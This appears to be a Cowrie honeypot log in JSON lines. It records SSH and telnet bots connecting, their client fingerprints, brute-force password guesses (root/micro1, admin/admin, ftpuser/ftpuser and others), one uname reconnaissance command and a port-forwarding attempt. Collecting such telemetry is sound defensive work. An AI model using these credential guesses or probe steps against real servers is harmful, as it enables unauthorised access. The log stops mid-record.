{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:d8:fb:eb:a1:1e:39:8d:be:4b:90:e4:2c:75:20:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeSk2w+kDO1dZCiXuPXVY8ecMxffXA6FOsufQOpLNBmF1yg6DvOMPqX6TMz+jRO24zNeyf9sWl3z0OyRl4HGCI2kayEVnz7NLOebd8rHMkDHr5jREQIB8En5ThHpcnmIiST/5PwuLtVLeGkKiA2gWTDq6/TXfs8tS2f8OdGH3aBT2VvXENovj+vocIFt0Ae2p6y3/uXBDSAV4/nNH+uliwaJxB9kNSj0mTLinFWPuK84OOTxmGIXZShZDf+St/u7g+2oniw+QUOQK5fTR5Ko8zdaDNLAjq02rAJQpGukDZXB6G3r06fB5xvA2L85qYg7lbt6+Lmpv2o6M5kB+SCGVp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ff:d8:fb:eb:a1:1e:39:8d:be:4b:90:e4:2c:75:20:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:30.172635Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:d8:fb:eb:a1:1e:39:8d:be:4b:90:e4:2c:75:20:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeSk2w+kDO1dZCiXuPXVY8ecMxffXA6FOsufQOpLNBmF1yg6DvOMPqX6TMz+jRO24zNeyf9sWl3z0OyRl4HGCI2kayEVnz7NLOebd8rHMkDHr5jREQIB8En5ThHpcnmIiST/5PwuLtVLeGkKiA2gWTDq6/TXfs8tS2f8OdGH3aBT2VvXENovj+vocIFt0Ae2p6y3/uXBDSAV4/nNH+uliwaJxB9kNSj0mTLinFWPuK84OOTxmGIXZShZDf+St/u7g+2oniw+QUOQK5fTR5Ko8zdaDNLAjq02rAJQpGukDZXB6G3r06fB5xvA2L85qYg7lbt6+Lmpv2o6M5kB+SCGVp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:30.175912Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:30.263347Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.74856448173523,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:31.328046Z","src_ip":"192.119.13.58","session":"69d889d0627f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":44082,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5e21c000594","protocol":"ssh","message":"New connection: 193.32.162.151:44082 (159.203.135.109:22) [session: f5e21c000594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:32.091038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:32.096079Z","src_ip":"193.32.162.151","session":"f5e21c000594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:32.203386Z","src_ip":"193.32.162.151","session":"f5e21c000594","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:32.520771Z","src_ip":"193.32.162.151","session":"f5e21c000594","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:32.775623Z","src_ip":"193.32.162.151","session":"f5e21c000594","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:32.779653Z","src_ip":"193.32.162.151","session":"f5e21c000594","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:32.890037Z","src_ip":"193.32.162.151","session":"f5e21c000594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:32.896305Z","src_ip":"193.32.162.151","session":"f5e21c000594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.195","src_port":19283,"dst_ip":"159.203.135.109","dst_port":23,"session":"7414f09dfcf3","protocol":"telnet","message":"New connection: 69.5.169.195:19283 (159.203.135.109:23) [session: 7414f09dfcf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:41.926232Z"}
{"eventid":"cowrie.session.closed","duration":0.17251157760620117,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:42.098645Z","src_ip":"69.5.169.195","session":"7414f09dfcf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":51726,"dst_ip":"10.17.0.5","dst_port":22,"session":"38bc3364782f","protocol":"ssh","message":"New connection: 43.156.136.152:51726 (10.17.0.5:22) [session: 38bc3364782f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:01.400962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:01.406073Z","src_ip":"43.156.136.152","session":"38bc3364782f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:01.645417Z","src_ip":"43.156.136.152","session":"38bc3364782f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"micro1","message":"login attempt [root/micro1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:02.632908Z","src_ip":"43.156.136.152","session":"38bc3364782f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:03.873844Z","src_ip":"43.156.136.152","session":"38bc3364782f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":54590,"dst_ip":"10.17.0.5","dst_port":22,"session":"878e62d8e06f","protocol":"ssh","message":"New connection: 103.149.28.157:54590 (10.17.0.5:22) [session: 878e62d8e06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:10.996522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:11.004916Z","src_ip":"103.149.28.157","session":"878e62d8e06f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:11.258034Z","src_ip":"103.149.28.157","session":"878e62d8e06f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3390","message":"login attempt [root/3390] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:12.016060Z","src_ip":"103.149.28.157","session":"878e62d8e06f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:13.272238Z","src_ip":"103.149.28.157","session":"878e62d8e06f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":49952,"dst_ip":"10.17.0.5","dst_port":22,"session":"25bb3518421b","protocol":"ssh","message":"New connection: 43.228.112.254:49952 (10.17.0.5:22) [session: 25bb3518421b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:17.543326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:17.548232Z","src_ip":"43.228.112.254","session":"25bb3518421b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:17.770233Z","src_ip":"43.228.112.254","session":"25bb3518421b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49686,"dst_ip":"10.17.0.5","dst_port":23,"session":"15ce560d0197","protocol":"telnet","message":"New connection: 192.119.13.58:49686 (10.17.0.5:23) [session: 15ce560d0197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:18.589221Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraft1234","message":"login attempt [root/minecraft1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:18.688997Z","src_ip":"43.228.112.254","session":"25bb3518421b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:19.913788Z","src_ip":"43.228.112.254","session":"25bb3518421b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27076,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c5f430b78b5","protocol":"ssh","message":"New connection: 87.251.64.176:27076 (10.17.0.5:22) [session: 4c5f430b78b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:34.323157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:34.327886Z","src_ip":"87.251.64.176","session":"4c5f430b78b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:34.424515Z","src_ip":"87.251.64.176","session":"4c5f430b78b5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:34.717263Z","src_ip":"87.251.64.176","session":"4c5f430b78b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:34.816330Z","session":"4c5f430b78b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:34.915343Z","src_ip":"87.251.64.176","session":"4c5f430b78b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:35.014989Z","src_ip":"87.251.64.176","session":"4c5f430b78b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":56832,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5be56a7e536","protocol":"ssh","message":"New connection: 192.169.243.246:56832 (10.17.0.5:22) [session: d5be56a7e536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:39.688393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:39.693143Z","src_ip":"192.169.243.246","session":"d5be56a7e536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:39.767423Z","src_ip":"192.169.243.246","session":"d5be56a7e536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"google","message":"login attempt [root/google] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:40.086747Z","src_ip":"192.169.243.246","session":"d5be56a7e536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:41.162843Z","src_ip":"192.169.243.246","session":"d5be56a7e536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":60810,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3e697cc90d2","protocol":"ssh","message":"New connection: 170.106.115.61:60810 (10.17.0.5:22) [session: f3e697cc90d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:42.593663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:51:42.599862Z","src_ip":"170.106.115.61","session":"f3e697cc90d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.co